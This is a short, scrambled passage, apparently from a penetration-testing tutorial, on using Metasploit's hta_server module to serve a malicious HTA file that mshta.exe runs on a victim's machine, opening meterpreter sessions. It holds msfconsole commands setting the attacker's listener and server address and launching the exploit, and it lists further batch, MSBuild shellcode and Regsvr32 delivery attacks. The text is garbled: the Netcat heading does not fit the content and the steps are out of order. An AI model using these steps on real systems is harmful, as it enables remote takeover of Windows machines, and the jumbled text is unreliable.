
#Netcat windows command line code
Now run the malicious code through mshta.exe on the victim’s machine (vulnerable to RCE) to obtain meterpreter sessions. Msf exploit(windows/misc/hta_server) > exploit

Msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 Msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. Metasploit contain the “HTA Web Server” module which generates malicious hta file. You can interpret these files using the Microsoft MSHTA.exe tool. HTML files that we can run JavaScript or VBScript with. Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. Launch Batch File Attack via Powershell.Launch MSbuild Attack via Msfvenom C# shellcode.Launch Regsvr32 via Script Web Delivery of Metasploit.

